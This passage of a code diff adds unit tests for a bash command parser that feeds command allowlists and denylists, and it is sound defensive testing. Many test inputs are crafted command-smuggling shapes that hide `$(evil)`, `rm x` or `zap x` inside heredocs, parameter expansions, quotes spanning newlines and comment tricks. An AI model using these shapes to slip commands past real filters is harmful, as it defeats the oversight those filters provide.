+			// bash reports a syntax error when the `]` never arrives, so the
+			// input must not look well-formed to the allowlists.
+			const input = "echo $[1+$(whoami)"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("arithmetic")
+		})
+
+		it("fails closed when a nested ] slices a $[…] payload open", () => {
+			// bash's legacy `$[…]` reader ends the expression at an unquoted
+			// `]` even inside an open `$(`, so this input's `$(` never closes.
+			// bash refuses it with an unexpected-EOF error, and the interior
+			// walk reports the same shape. The quoted-`]` class the same reader
+			// accepts parses instead; see the next test.
+			const input = "echo $[1+$(echo ])]"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("command-substitution")
+			const body = "cat <<EOF\n$[1+$(echo ])]\nEOF"
+			const bodyResult = parseCommand(body)
+			expect(bodyResult.commands).toEqual([body])
+			expect(bodyResult.parseError?.quoteType).toBe("command-substitution")
+			// The accepted class: bash closes the expression at the final `]`
+			// because the earlier one sits inside single quotes, then inside
+			// `$(`. The payload is extracted and the host stays parseable.
+			const accepted = parseCommand("echo $[1+$(printf '2]' | cut -c1)]")
+			expect(accepted.parseError).toBeNull()
+			expect(accepted.commands).toEqual(["echo $[1+$(printf '2]' | cut -c1)]", "printf '2]'", "cut -c1"])
+		})
+
+		it("closes $[…] at the first ] outside quotes and substitutions", () => {
+			// A subscript's `[` opens a bracket the shell closes last-open-
+			// first, so the expression ends at the depth-zero `]`, not the
+			// first `]`. Quote and substitution interiors are inert to the
+			// closer scan.
+			const subscript = parseCommand("a=(5 7)\necho $[a[0]+1]")
+			expect(subscript.parseError).toBeNull()
+			expect(subscript.commands).toEqual(["a= ( 5 7 )", "echo $[a[0]+1]"])
+			// A double-quoted `]` is equally inert: bash runs this input.
+			const dq = parseCommand('echo $[1+$(printf "2]" | cut -c1)]')
+			expect(dq.parseError).toBeNull()
+			expect(dq.commands).toEqual(['echo $[1+$(printf "2]" | cut -c1)]', 'printf "2]"', "cut -c1"])
+			// A substitution may open a subscript's bracket too: the `]` that
+			// closes the subscript is the one balancing its `[`.
+			const nested = parseCommand("a=(5 7)\necho $[a[$(echo 0)]+1]")
+			expect(nested.parseError).toBeNull()
+			expect(nested.commands).toEqual(["a= ( 5 7 )", "echo $[a[$(echo 0)]+1]", "echo 0"])
+			// Unclosed forms still fail closed: no depth-zero `]` arrives.
+			expect(structuralError("echo $[1+2")?.quoteType).toBe("arithmetic")
+		})
+
+		it("fails closed when a region inside an arithmetic expression never closes", () => {
+			// An opener inside `$((…))`/`$[…]` that never closes is bash's own
+			// unclosed-delimiter error: the shell reads every later byte inside
+			// it and runs nothing, so the expression fails closed whatever the
+			// masked tail looks like to a depth count. The closer scan masks
+			// the tail from that reading on instead of re-walking it per byte;
+			// these rows pin the fail-closed set and the accept rows pin that
+			// a scan which masks too much (dropping a real closer's effect on
+			// the interior walk) cannot pass.
+			expect(structuralError("echo $(( $(evil)")?.quoteType).toBe("arithmetic")
+			expect(structuralError("echo $(( `x")?.quoteType).toBe("arithmetic")
+			expect(structuralError("echo $[1 ${")?.quoteType).toBe("arithmetic")
+			expect(structuralError("echo $(( $(f 'x) ))")?.quoteType).toBe("command-substitution")
+			// The interior walk can only report a frame-kind opener that never
+			// closes; it reads a top-level quote inside the expression as
+			// literal text, so the closer scan itself must fail an unclosed
+			// quote closed. bash refuses each of these inputs too.
+			expect(structuralError("echo $(( 'x ))")?.quoteType).toBe("arithmetic")
+			expect(structuralError('echo $(( "x ))')?.quoteType).toBe("arithmetic")
+			expect(structuralError("echo $[1 'x ]")?.quoteType).toBe("arithmetic")
+			// An unclosed frame region stays on the masked path: plain counting
+			// closes the expression and the interior walk names the frame, so
+			// the error kind is the opener's, never "arithmetic". bash refuses
+			// each of these inputs too.
+			expect(structuralError("echo $[ $(f ]")?.quoteType).toBe("command-substitution")
+			expect(structuralError("echo $[ ${f ]")?.quoteType).toBe("parameter-expansion")
+			expect(structuralError("echo $[ `f ]")?.quoteType).toBe("backtick")
+			expect(structuralError("echo $(( ${f ))")?.quoteType).toBe("parameter-expansion")
+			const closed = parseCommand("echo $(( 1 + $(printf 2) ))")
+			expect(closed.parseError).toBeNull()
+			expect(closed.commands).toEqual(["echo $(( 1 + $(printf 2) ))", "printf 2"])
+			const quoted = parseCommand("echo $(( $(printf ')') + 1 ))")
+			expect(quoted.parseError).toBeNull()
+			expect(quoted.commands).toEqual(["echo $(( $(printf ')') + 1 ))", "printf ')'"])
+		})
+
+		it("keeps the arithmetic closer scan linear past an unclosed region", () => {
+			// One unclosed region inside `$((` makes every later byte a
+			// non-opener for the shell: the closer scan masks that tail and
+			// plain-counts instead of re-walking it per byte. The fail-closed
+			// set is pinned by the block above; this pin bounds the cost — the
+			// per-byte re-walk shape measures ~410 ms at this size vs ~1 ms
+			// linear, so the ceiling cannot fire on the shipped scan and does
+			// fire the moment the unclosed-region sentinel stops ending the
+			// region walk.
+			const input = "echo $(( " + "${".repeat(8000)
+			expect(parseCommand(input).parseError?.quoteType).toBe("arithmetic")
+			let best = Number.POSITIVE_INFINITY
+			for (let run = 0; run < 3; run++) {
+				const t0 = process.hrtime.bigint()
+				parseCommand(input)
+				best = Math.min(best, Number(process.hrtime.bigint() - t0) / 1e6)
+			}
+			expect(best).toBeLessThan(100)
+		})
+
+		it("does not extract from a quoted-delimiter heredoc body (the shell suppresses expansion there)", () => {
+			const input = "cat <<'EOF'\n$(whoami)\nEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual([input])
+		})
+
+		it("extracts a substitution from the alternate word of a parameter expansion", () => {
+			// With x unset, bash expands the alternate word and runs $(evil).
+			// `<<EOF` inside `${…}` is literal word text, not a heredoc opener.
+			// The substitution therefore stays live. It must surface as its own
+			// segment even though the expansion host stays verbatim.
+			const input = "cat ${x:-y <<EOF\n$(evil)\nEOF\n}"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual([input, "evil"])
+		})
+
+		it("extracts a substitution from a quoted-delimiter shape inside a parameter expansion", () => {
+			// bash runs the `$(evil)` here: `<<'EOF'` inside `${…}` is not a
+			// heredoc operator, so the alternate word expands the substitution
+			// like any other word text. Masking it as heredoc body would skip
+			// allowlisting a command bash actually executes.
+			const input = "cat ${x:-y <<'EOF'\n$(evil)\nEOF\n}"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual([input, "evil"])
+		})
+
+		it("extracts a substitution after the delimiter on a heredoc opener line", () => {
+			// The opener line's remainder is expanded regardless of delimiter quoting:
+			// bash runs the substitution sitting between the delimiter and the newline.
+			const { commands, parseError } = parseCommand("cat <<EOF $(whoami)\nbody\nEOF")
+			expect(parseError).toBeNull()
+			// The remainder is live host text: the masked region keeps the
+			// delimiter word, body, and terminator, and the substitution is
+			// reassembled by the tokenizer and routed to its own segment.
+			expect(commands).toEqual(["cat <<EOF\nbody\nEOF $ ( whoami )", "whoami"])
+		})
+
+		it("extracts opener-line substitutions for quoted and <<- delimiters too", () => {
+			// Quoting suppresses expansion in the body only, never on the opener
+			// line, so <<'EOF' and <<- carry the same remainder obligation as <<.
+			expect(parseCommand("cat <<'EOF' $(whoami)\nbody\nEOF").commands).toEqual([
+				"cat <<'EOF'\nbody\nEOF $ ( whoami )",
+				"whoami",
+			])
+			expect(parseCommand("cat <<-EOF\t$(whoami)\nbody\nEOF").commands).toEqual([
+				"cat <<-EOF\nbody\nEOF $ ( whoami )",
+				"whoami",
+			])
+		})
+
+		it("extracts a substitution from a parameter expansion on the opener line", () => {
+			// bash expands `$(zap x)` inside `${x:-$(zap x)}` on the opener line
+			// and runs it. The remainder walk masks the expansion to a
+			// placeholder the tokenizer can read, so the inner command still
+			// surfaces as its own segment and the host keeps its verbatim text.
+			const { commands, parseError } = parseCommand("cat <<E ${x:-$(zap x)}\nbody\nE")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\nbody\nE ${x:-$(zap x)}", "zap x"])
+		})
+
+		it("restores a plain parameter expansion on the opener line verbatim", () => {
+			// A `${…}` without substitutions costs nothing extra: the masked
+			// placeholder restores to one segment carrying the expansion text,
+			// exactly like a top-level parameter expansion.
+			const { commands, parseError } = parseCommand("cat <<E ${z}\nbody\nE")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\nbody\nE ${z}"])
+		})
+
+		it("keeps a nested parameter expansion on the opener line inside its region", () => {
+			// The inner `${b}` closer must not end the outer `${a:-…}` region:
+			// the `;` lives inside the expansion, never reaches bash as an
+			// operator, and the whole word stays in the one host segment. The
+			// mask onset belongs to the outermost region only; an onset set at
+			// the nested region drops the outer region's opener bytes from the
+			// restored host text, which this exact-text pin catches.
+			const { commands, parseError } = parseCommand("cat <<E ${a:-${b};zap x}\nb\nE")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\nb\nE ${a:-${b};zap x}"])
+		})
+
+		it("splits a chain operator after the delimiter out of the heredoc segment", () => {
+			// The text after the delimiter word is live syntax: bash pipes the
+			// heredoc into `rm x`, so the operator's right-hand command must
+			// match the lists on its own instead of riding the heredoc head.
+			const { commands, parseError } = parseCommand("echo $(cat <<E | rm x\nhi\nE\n)")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo", "cat <<E\nhi\nE", "rm x"])
+			// The split respects quoting: a `|` inside the argument stays word text.
+			const quoted = parseCommand('echo $(cat <<E | grep "a|b"\nhi\nE\n)')
+			expect(quoted.parseError).toBeNull()
+			expect(quoted.commands).toEqual(["echo", "cat <<E\nhi\nE", "grep a|b"])
+		})
+
+		it("keeps an operator-free opener remainder in one segment (no over-split)", () => {
+			// Without an operator the remainder is just more words of the
+			// opener's command; the heredoc stays a single segment.
+			expect(parseCommand("cat <<E arg\nhi\nE").commands).toEqual(["cat <<E\nhi\nE arg"])
+			// The same split applies at the top level: a second pipeline stage
+			// after the delimiter must not share the heredoc head's word.
+			expect(parseCommand("cat <<E | rm x\nhi\nE").commands).toEqual(["cat <<E\nhi\nE", "rm x"])
+		})
+
+		it("splits a |& pipe operator into its own segment", () => {
+			// bash pipes stdout and stderr of `echo a` into `zap x`: `|&` is one
+			// operator token, so the right-hand command reaches its own segment
+			// instead of riding the left-hand word's allowlist match.
+			const { commands, parseError } = parseCommand("echo a |& zap x")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo a", "zap x"])
+			// A delimiter word glued to `|&` ends at the `|` like the other
+			// operators, so the terminator still matches and the tail splits.
+			const glued = parseCommand("cat <<EOF|&grep y\nhi\nEOF")
+			expect(glued.parseError).toBeNull()
+			expect(glued.commands).toEqual(["cat <<EOF\nhi\nEOF", "grep y"])
+		})
+
+		it("keeps a mid-word # in the opener remainder from swallowing the tail", () => {
+			// bash treats a mid-word `#` as an ordinary character. The tokenizer
+			// would drop everything after it as comment text. The remainder
+			// emission masks that `#` like the live-text scan does, so the
+			// `rm x` after the pipe reaches a segment of its own.
+			const input = "echo $(cat <<E f#g | rm x\nhi\nE\n)"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo", "cat <<E\nhi\nE f#g", "rm x"])
+		})
+
+		it("keeps a word-initial # remainder as the comment bash sees", () => {
+			// At a word start the tokenizer and bash agree: the `#` opens a
+			// comment that runs to end of line, and nothing after it executes.
+			const { commands, parseError } = parseCommand("cat <<E # note\nhi\nE")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\nhi\nE"])
+		})
+
+		it("parses an opener comment containing an apostrophe", () => {
+			// bash discards a word-start comment before scanning for quotes, so
+			// the apostrophe in the comment text never opens a region: the
+			// opener line is `cat <<EOF` plus a discarded comment.
+			const { commands, parseError } = parseCommand("cat <<EOF # don't\ndon't\nEOF")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<EOF\ndon't\nEOF"])
+			// A comment glued to the delimiter discards the same way; the onset
+			// must stop AT the `#` so the comment's leading quote is never read
+			// as a residual quote pairing with the body's apostrophe.
+			const glued = parseCommand("cat <<E #'don't\nbody'\nE")
+			expect(glued.parseError).toBeNull()
+			expect(glued.commands).toEqual(["cat <<E\nbody'\nE"])
+		})
+
+		it("parses an opener comment whose apostrophe precedes a body apostrophe", () => {
+			// The same discarded comment on a longer opener: the quote-state
+			// check may only read the live prefix before the comment onset, or
+			// the comment's apostrophe pairs with the body's and fails an
+			// opener bash runs.
+			const { commands, parseError } = parseCommand("git commit -F - <<EOF # don't\nfix: it's\nEOF")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["git commit -F - <<EOF\nfix: it's\nEOF"])
+		})
+
+		it("fails closed on an odd backslash run at the end of the opener remainder", () => {
+			// bash joins the `\`+LF pair, so `| rm x` executes from the opener
+			// line. The remainder cut stops at that LF, so it cannot account
+			// for the joined bytes. The heredoc fails closed instead of
+			// approving a command the decomposition never surfaced.
+			const input = "echo $(cat <<E \\\n| rm x\nhi\nE\n)"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed when a remainder quote spans the newline into the body", () => {
+			// bash carries the `'` open across the newline, closes it at `b'`,
+			// and runs `; zap x` as live syntax. The remainder cut stops at the
+			// newline, so the masked body never accounts for those bytes: the
+			// heredoc fails closed instead of approving a hidden command.
+			const input = "cat <<E 'a\nb'; zap x\nhi\nE"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed when a double-quoted remainder spans the newline into the body", () => {
+			// The guard is quote-kind agnostic: bash carries `"` across the
+			// newline exactly like `'`, closes it on a later line, and runs the
+			// bytes after its closer as live syntax.
+			const input = 'cat <<E "a\nb"; zap x\nhi\nE'
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("accepts an opener quote that never closes again", () => {
+			// A quote with no later closer is bash's own syntax error: bash
+			// reads one unterminated word and executes nothing, so nothing is
+			// hidden and the opener stays parseable.
+			const { commands, parseError } = parseCommand("cat <<E 'a\nbody\nE")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\nbody\nE a"])
+		})
+
+		it("fails closed when a quote opened before an opener comment spans the newline", () => {
+			// The comment skip starts only at a word-start `#`: the `'` before
+			// it is live syntax bash carries across the newline, closing at `b'`
+			// so `; zap x` runs. Skipping the comment tail must not discard the
+			// quote state opened before it.
+			const input = "cat <<E 'a # b\nc'; zap x\nhi\nE"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+			// Quoting the word around the `#` restores the accept side: the
+			// comment onset must respect quoting, so `# ` inside `'a # b'` is
+			// word content, the live `'` closes on the body's `b'`, and the
+			// tail after it still splits into its own segment.
+			const quoted = parseCommand("cat <<E 'a # b'; zap x\nb'ody\nE")
+			expect(quoted.parseError).toBeNull()
+			expect(quoted.commands).toEqual(["cat <<E\nb'ody\nE a # b", "zap x"])
+			// The same shape with `"`: the residual quote is double-quoted, and
+			// the onset scan must track that quoting kind too.
+			const dq = parseCommand('cat <<E "a # b"; zap x\nb"ody\nE')
+			expect(dq.parseError).toBeNull()
+			expect(dq.commands).toEqual(['cat <<E\nb"ody\nE a # b', "zap x"])
+		})
+
+		it("keeps a double-quoted opener region open across an apostrophe before a #", () => {
+			// bash closes a `"` region only at another `"`: the apostrophe is
+			// word content, so the `#` stays inside the region, never opens a
+			// comment, and the substitution after it stays live syntax that
+			// reaches its own segment. An onset scan that closes the region on
+			// the other quote kind sees a comment at the `#` and drops the tail.
+			const { commands, parseError } = parseCommand('cat <<E "a\' # $(zap x)"\nbody\nE')
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\nbody\nE a' # $(zap x)", "zap x"])
+			// The same shape carrying a denied head: the denylist can only reject
+			// what the decomposition surfaces, so the substitution after the
+			// in-region `#` must still split into its own segment.
+			const denied = parseCommand('cat <<E "a\' # $(rm x)"\nbody\nE')
+			expect(denied.parseError).toBeNull()
+			expect(denied.commands).toEqual(["cat <<E\nbody\nE a' # $(rm x)", "rm x"])
+			// The reverse kind pair pins the mask from the other side: a
+			// balanced `'…'` span on the remainder undergoes bash's quote
+			// removal, so the bytes inside it never parse as syntax. The `#`
+			// there never tests as a comment onset either, and neither the `#`
+			// nor the substitution inside the span produces a segment: bash
+			// opens one file named by the whole word.
+			const sq = parseCommand("cat <<E 'a\" # $(zap x)'\nbody\nE")
+			expect(sq.parseError).toBeNull()
+			expect(sq.commands).toEqual(['cat <<E\nbody\nE a" # $(zap x)'])
+		})
+
+		it("scans the body of a second heredoc opener on the same line", () => {
+			// bash opens a heredoc for every redirect on the opener line and
+			// expands each body: a heredoc body carries no comments, so the
+			// `# $(evil)` line in the second body executes. The scan collects
+			// the chained opener on the opener line and searches its body
+			// after the outer one, so `evil` surfaces as its own segment and
+			// no allowlist decision can let the command through clean. Without
+			// the collection the body's bytes stay host text and nothing
+			// surfaces.
+			const { commands, parseError } = parseCommand("cat <<A <<cat\nA\n# $(evil)\ncat\n")
+			expect(parseError).toBeNull()
+			// One H placeholder spans the opener through the last chained
+			// terminator; the opener-line remainder (chained `<<` token and
+			// delimiter word included) stays live host text after it.
+			expect(commands).toEqual(["cat <<A\nA\n# $(evil)\ncat << cat", "evil"])
+			// A `<<<` herestring is one operator, never a chained opener: the
+			// walk consumes all three bytes and the word passes to the host.
+			expect(parseCommand("cat <<E <<<str\nbody\nE").commands).toEqual(["cat <<E\nbody\nE <<< str"])
+			// Fail-closed controls: a chained body that never reaches its
+			// terminator hides everything after it, so the whole heredoc fails
+			// closed like any other unclosed construct — bash's own read layer
+			// reports the missing terminator for both shapes.
+			const unclosed = parseCommand("cat <<A <<B\nA\n$(x)\n")
+			expect(unclosed.commands).toEqual(["cat <<A <<B\nA\n$(x)\n"])
+			expect(unclosed.parseError?.quoteType).toBe("heredoc")
+			const glued = parseCommand("cat <<E x<<y\nbody\nE")
+			expect(glued.commands).toEqual(["cat <<E x<<y\nbody\nE"])
+			expect(glued.parseError?.quoteType).toBe("heredoc")
+			// Frame-context pin: the same opener inside `$(…)` re-scan runs the
+			// emission at top level, so the frame branch's heredoc route chains
+			// through the identical path.
+			expect(parseCommand("echo $(cat <<A <<cat\nA\n# $(evil)\ncat\n)").commands).toEqual([
+				"echo",
+				"cat <<A\nA\n# $(evil)\ncat << cat",
+				"evil",
+			])
+		})
+
+		it("extracts a substitution from a chained opener's body", () => {
+			// An unquoted chained body is expansion-active exactly like the
+			// first body: the substitution inside it must reach its own
+			// segment instead of hiding in the outer host word.
+			const { commands, parseError } = parseCommand("cat <<A <<B\nA\n$(mid)\nB\n")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<A\nA\n$(mid)\nB << B", "mid"])
+		})
+
+		it("keeps a quoted chained delimiter's body inert", () => {
+			// A quoted delimiter suppresses expansion in its own body: the
+			// `$(quiet)` line is literal data, so no payload surfaces and the
+			// construct still parses clean.
+			const { commands, parseError } = parseCommand("cat <<A <<'Q'\nA\n$(quiet)\nQ\n")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<A\nA\n$(quiet)\nQ << Q"])
+		})
+
+		it("consumes three chained openers in body order", () => {
+			// Every chained body starts on the line after the previous
+			// construct's terminator, in bash's sequential read order, and
+			// only the innermost body carries the substitution. The single
+			// masked region spans the opener through the last terminator.
+			const { commands, parseError } = parseCommand("cat <<A <<B <<C\nA\nB\n$(deep)\nC\n")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<A\nA\nB\n$(deep)\nC << B << C", "deep"])
+		})
+
+		it("fails closed when the chained body runs past the end of input (sequential stdin cursor)", () => {
+			// bash reads chained bodies sequentially: B's body starts after
+			// A's terminator line, so the `# $(evil) B` line is B's unterminated
+			// body and bash expands the substitution there anyway (its warning
+			// only reports the missing terminator). A parser that anchored B's
+			// body at the line after the shared opener line found the stray `B`
+			// inside A's body instead and returned the `#` line to the main
+			// scan, where it reads as a top-level comment — the executed bytes
+			// hid. bash's executed set for this input carries `evil`.
+			const { commands, parseError } = parseCommand("cat <<A <<B\nB\nA\n# $(evil) B\n")
+			expect(parseError?.quoteType).toBe("heredoc")
+			expect(commands).toEqual(["cat <<A <<B\nB\nA\n# $(evil) B\n"])
+		})
+
+		it("reads chained bodies in bash's sequential order when a chained terminator lands inside the outer body", () => {
+			// A's body runs to the `A` line; B's body starts on the next line
+			// and holds `$(two)`. bash expands both substitutions; a body
+			// anchored at the shared opener line would take B's body from the
+			// `B` line and lose the `$(two)` byte range.
+			const { commands, parseError } = parseCommand("cat <<A <<B\n$(one)\nA\n$(two)\nB\n")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<A\n$(one)\nA\n$(two)\nB << B", "one", "two"])
+		})
+
+		it("fails closed beyond MAX_PAYLOAD_SCAN_DEPTH chained openers on one line", () => {
+			// The collector cap rides the scan's existing generated-input bound.
+			// 64 chained openers (plus the outer one) parse; the 65th chained
+			// opener fails the construct closed before any body search runs, so
+			// the accept half pins the boundary from both sides. The equality
+			// pins hold the resolved host text exactly: dropping a chained
+			// token or leaking a placeholder changes the string, not just the
+			// segment count.
+			const chain = (count: number): string => {
+				const delims = Array.from({ length: count }, (_, k) => `d${k}`)
+				return "cat " + delims.map((d) => `<<${d}`).join(" ") + "\n" + delims.map((d) => `${d}\n`).join("")
+			}
+			const delims = Array.from({ length: 65 }, (_, k) => `d${k}`)
+			const at = parseCommand(chain(65))
+			expect(at.parseError).toBeNull()
+			expect(at.commands).toEqual([
+				"cat <<d0\n" +
+					delims.join("\n") +
+					delims
+						.slice(1)
+						.map((d) => ` << ${d}`)
+						.join(""),
+			])
+			const over = parseCommand(chain(66))
+			expect(over.parseError?.quoteType).toBe("heredoc")
+			// A fail-closed construct returns the raw input verbatim as its one
+			// host word: no masking, no placeholder, no dropped bytes.
+			expect(over.commands).toEqual([chain(66)])
+			// Stack safety: a generated chain far beyond the cap fails closed
+			// at the collector, never through recursion.
+			const huge = parseCommand(chain(8000))
+			expect(huge.parseError?.quoteType).toBe("heredoc")
+			expect(huge.commands).toEqual([chain(8000)])
+		})
+
+		it("starts a frame comment after every word-ending metacharacter", () => {
+			// The frame-comment word-boundary set is the default $IFS blanks
+			// plus every metacharacter that ends a word. Each member row gets
+			// the same shape: a `#` glued after the member comments out the
+			// `$(zap y)` payload, exactly as bash discards the comment bytes.
+			// The grouped-frame forms pin `(` and `)`, where a bare paren
+			// would otherwise be read as group bookkeeping. The glued control
+			// pins that a `#` after an ordinary word character stays word text
+			// and still yields the payload.
+			const rows = [
+				{ name: "semicolon", input: "echo $(x;#$(zap y)\n)", commands: ["echo", "x"], error: null },
+				// Decoy-closer rows for `&`, `(` and `)`: the comment swallows a
+				// `)` that would otherwise close the frame, so bash rejects the
+				// whole input and the scan must fail the frame closed too.
+				// Dropping the member from the boundary class instead closes the
+				// frame at the decoy and accepts bash-invalid input clean.
+				{
+					name: "ampersand",
+					input: "echo $(x&#) $(evil)",
+					commands: ["echo $(x&#) $(evil)"],
+					error: "command-substitution",
+				},
+				{ name: "pipe", input: "echo $(x|#$(zap y)\n)", commands: ["echo", "x"], error: null },
+				{ name: "less-than", input: "echo $(x<#$(zap y)\n)", commands: ["echo", "x <"], error: null },
+				{ name: "greater-than", input: "echo $(x>#$(zap y)\n)", commands: ["echo", "x >"], error: null },
+				{
+					name: "open-paren",
+					input: "echo $(x(#) $(evil)",
+					commands: ["echo $(x(#) $(evil)"],
+					error: "command-substitution",
+				},
+				{
+					name: "open-paren-process-sub",
+					input: "echo $(x>(#$(zap y)\n)",
+					commands: ["echo $(x>(#$(zap y)\n)"],
+					error: "command-substitution",
+				},
+				{
+					name: "close-paren",
+					input: "echo $( (x)#) end",
+					commands: ["echo $( (x)#) end"],
+					error: "command-substitution",
+				},
+				// Glued control: mid-word `#` keeps the payload live.
+				{ name: "glued-word", input: "echo $(x#a$(zap y)\n)", commands: ["echo", "x#a", "zap y"], error: null },
+			]
+			const observed = rows.map(({ name, input }) => {
+				const result = parseCommand(input)
+				return { name, commands: result.commands, error: result.parseError?.quoteType ?? null }
+			})
+			expect(observed).toEqual(rows.map(({ name, input: _input, ...expected }) => ({ name, ...expected })))
+		})
+
+		it("keeps a # after a nested substitution's closer word-internal inside a frame", () => {
+			// A closer that pops a nested frame inside a frame ends the
+			// expansion, not the surrounding word: bash prints `a#b` for this
+			// input, so the frame-comment rule must skip a `#` directly after
+			// such a closer. Only a group-paren closer stays a word boundary
+			// (the table above pins the group row).
+			const { commands, parseError } = parseCommand("echo $(echo $(echo a)#b)")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo", "echo", "echo a", "#b"])
+		})
+
+		it("keeps a # after a nested substitution's closer word-internal in a heredoc body", () => {
+			// The body walk's frame-comment rule carries the same closer
+			// tracker: inside a body substitution the `#` after a nested
+			// frame's closer continues the word, and bash expands the body's
+			// substitution to `a#b` instead of losing the frame closer to a
+			// comment.
+			const { commands, parseError } = parseCommand("cat <<E\n$(echo $(echo a)#b)\nE\n")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<E\n$(echo $(echo a)#b)\nE", "echo", "echo a", "#b"])
+		})
+
+		it("keeps a # after an escaped blank word-internal inside a frame", () => {
+			// A `\c` escape pair inside a frame leaves the escaped character
+			// as word content. When `c` is a blank, the raw blank before a
+			// following `#` is not a real word boundary: bash prints `a #b`
+			// for this input, so the frame-comment rule must skip a `#`
+			// directly after the pair, as the top-level rule already does.
+			// The frame never closes if the comment is honored, and the
+			// fail-closed rule refuses a command bash runs. The control row
+			// pins the exact boundary: after the escaped blank, a real blank
+			// is one, and the `#` it exposes starts the comment bash starts —
+			// bash loses the frame closer to that comment too and fails.
+			const rows = [
+				{
+					input: "echo $(printf %s a\\ #b)",
+					commands: ["echo", "printf %s a #b"],
+					error: null,
+				},
+				{
+					input: "echo $(a\\  #b)",
+					commands: ["echo $(a\\  #b)"],
+					error: "command-substitution",
+				},
+			]
+			const observed = rows.map(({ input }) => {
+				const result = parseCommand(input)
+				return { commands: result.commands, error: result.parseError?.quoteType ?? null }
+			})
+			expect(observed).toEqual(rows.map(({ input: _input, ...expected }) => expected))
+		})
+
+		it("keeps a # after an escaped blank word-internal in a heredoc body", () => {
+			// The body walk carries the same escape tracker as the main scan:
+			// the body's `$(…)` frame closes and bash prints `echo a #b`, so
+			// the `#` after the frame's escaped blank continues the word. The
+			// control row keeps the body walk's boundary exact: with a real
+			// blank before the `#` the comment starts, bash loses the frame
+			// closer while expanding the body, and the region fails closed.
+			const rows = [
+				{
+					input: "cat <<EOF\necho $(printf %s a\\ #b)\nEOF",
+					commands: ["cat <<EOF\necho $(printf %s a\\ #b)\nEOF", "printf %s a #b"],
+					error: null,
+				},
+				{
+					input: "cat <<EOF\necho $(a\\  #b)\nEOF",
+					commands: ["cat <<EOF\necho $(a\\  #b)\nEOF"],
+					error: "command-substitution",
+				},
+			]
+			const observed = rows.map(({ input }) => {
+				const result = parseCommand(input)
+				return { commands: result.commands, error: result.parseError?.quoteType ?? null }
+			})
+			expect(observed).toEqual(rows.map(({ input: _input, ...expected }) => expected))
+		})
+
+		it("keeps a # after an escaped blank word-internal in a process substitution", () => {
+			// The process-substitution frame takes the same exclusion: bash
+			// runs the diff (the exit status is irrelevant to parsing) with
+			// the escaped blank keeping the `#` inside the frame's word.
+			const { commands, parseError } = parseCommand("diff <(printf %s a\\ #b) /dev/null")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["diff", "printf %s a #b", "/dev/null"])
+		})
+
+		it("starts a # comment after a real blank inside a process substitution", () => {
+			// The control for the escaped-blank pin above: with a real blank
+			// before the `#` the frame-comment rule must fire. The comment
+			// runs to end of line, so bash loses the frame's closer to it and
+			// refuses the input with an unexpected-EOF error; the scan loses
+			// the closer to the same comment and fails the frame closed.
+			const input = "diff <(printf %s x #y) /dev/null"
+			expect(structuralError(input)?.quoteType).toBe("process-substitution")
+			expect(parseCommand(input).commands).toEqual([input])
+		})
+
+		it("keeps every executed command visible when a continuation comment swallows the frame closer and a quote", () => {
+			// The shell removes a backslash-newline pair before tokenizing, so
+			// the `#` that follows one sits at a real word boundary and starts
+			// the comment bash starts: it runs to end of line, swallowing the
+			// `)` and the opening `'`. The quote never opens. The frame stays
+			// open past the swallowed closer, closes at the next `)` — the one
+			// inside `>&2` — and the payload re-scan surfaces each executed
+			// command as its own segment. The `#` after that closer is a host
+			// comment again, so the trailing `'` never opens either. bash runs
+			// `echo` and `printf MARKER` inside the substitution here; both
+			// surface to the command lists, so no executed byte rides a mask.
+			const input = "echo $(echo \\\n#x ) '\nprintf MARKER >&2) #'"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError?.quoteType ?? null).toBeNull()
+			expect(commands).toEqual(["echo", "echo ", "printf MARKER >&2"])
+		})
+
+		it("extracts payloads when a continuation comment swallows the heredoc opener", () => {
+			// Same removal rule: the comment at the `#` swallows `) <<E` to end
+			// of line, so no heredoc opens, the body lines stay inside the
+			// substitution, and the shell comments bash comments. The scan
+			// reaches the `)` on its own line, closes the frame, and the
+			// payload re-scan runs the host rules: there the comment fires
+			// again, `zap x` surfaces as its own segment, and the `E` after
+			// the frame closer is an ordinary trailing word. bash runs
+			// `zap x` inside the substitution here, so every executed byte
+			// the shell expands stays visible to the command lists instead
+			// of riding a mask. Where the comment line ends the frame's last
+			// command instead, the frame closes at `)` and the payload after
+			// the comment line is extracted on its own segment; the comment
